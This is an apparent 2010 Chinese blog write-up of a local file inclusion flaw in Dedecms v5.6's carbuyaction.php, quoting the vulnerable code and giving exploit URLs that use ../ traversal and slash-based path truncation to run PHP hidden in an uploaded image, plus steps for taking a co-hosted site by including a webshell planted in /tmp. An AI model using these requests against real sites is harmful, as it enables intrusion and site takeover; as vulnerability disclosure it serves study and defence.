Dedecms v5.6的鸡肋本地包含漏洞

2010-06-21 11:05:59 0 3155
还是前段时间看dede代码的时候看到的,虽然很鸡肋,但也有点用,于是拖着没发;很无语的发现在t00ls被公布了,于是我稍微说一下之类本地包含漏洞的利用方法。

一、漏洞介绍
Dedecms V5.6 Final版本中的plus/carbuyaction.php文件中当dopost为return时,$code变量没有初始化,直接被带入了require once 语句中,由于后面限制了.php,从而只能导致本地包含漏洞。

二、漏洞细节
1、        plus/carbuyaction.php文件:

//漏洞出现下$dopost 为return的时候,$code变量没有被赋值,由于dedecms的全局机制可以任意给其赋值,从而带入包含,导致本地包含漏洞。

elseif($dopost == 'return'){
//$code直接引入,from [url]www.oldjun.com[/url]
require_once DEDEINC.'/payment/'.$code.'.php';
$pay = new $code;
$msg=$pay->respond();
ShowMsg($msg,"javascript:;",0,3000);
exit();
}
2、        include/common.inc.php:
//无论是否打开magic_quotes_gpc,系统都对传进来的变量进行了addslashes处理,from [url]www.oldjun.com[/url]

function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}

//模拟register_globals,对_GET、_POST、_COOKIE全局化,from [url]www.oldjun.com[/url]
foreach(Array('_GET ','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
三、漏洞利用
1. windows系统:

IIS或者某些apache版本下php文件系统可以进行路径截断,
可以通过
///////////////////////////////////(若干/)
/././././././././././././././././(若干/.)
进行截断。

于是可以上传一个精心构造带有恶意php代码的图片,然后注册一个用户上传,比如上传到uploads/userup/2/12Ka5357-c53.jpg,于是可以通过访问:

http://127.0.0.1/ plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////(若干/)

则有可能执行12Ka5357-c53.jpg中的恶意php代码,从而达到入侵的目的。

2.linux系统:

1)apache某些版本php文件系统支持路径截断,于是同windows下,可以通过
///////////////////////////////////(若干/)
/././././././././././././././././(若干/.)
进行截断。

利用方法同windows:

于是可以上传一个精心构造带有恶意php代码的图片,然后注册一个用户上传,比如上传到uploads/userup/2/12Ka5357-c53.jpg,于是可以通过访问:

http://127.0.0.1/ plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////(若干/)

则有可能执行12Ka5357-c53.jpg中的恶意php代码,从而达到入侵的目的。

2)旁注攻击

比如目标站是www.aaa.com,漏洞文件是:
http://www.aaa.com/ plus/carbuyaction.php

同服务器有个站点www.bbb.com可以轻松入侵,拿到webshell,但是由于权限控制,www.bbb.com站的webshell访问或者控制不了www.aaa.com,于是我们可以通过这个本地包含漏洞达到入侵www.aaa.com的目的。

1.        通过www.bbb.com上传一个webshell到/tmp文件夹下,比如文件名是shell.php;
2.        访问http://www.aaa.com/plus/carbuyaction.php?code=../../../../../../../tmp/shell则可以成功包含我们上传到临时文件夹下的webshell,由于当前是www.aaa.com的权限,则可以完全控制目标站点:www.aaa.com。</p>

关于作者

oldjun132篇文章575篇回复

评论0次

要评论?请先  登录  或  注册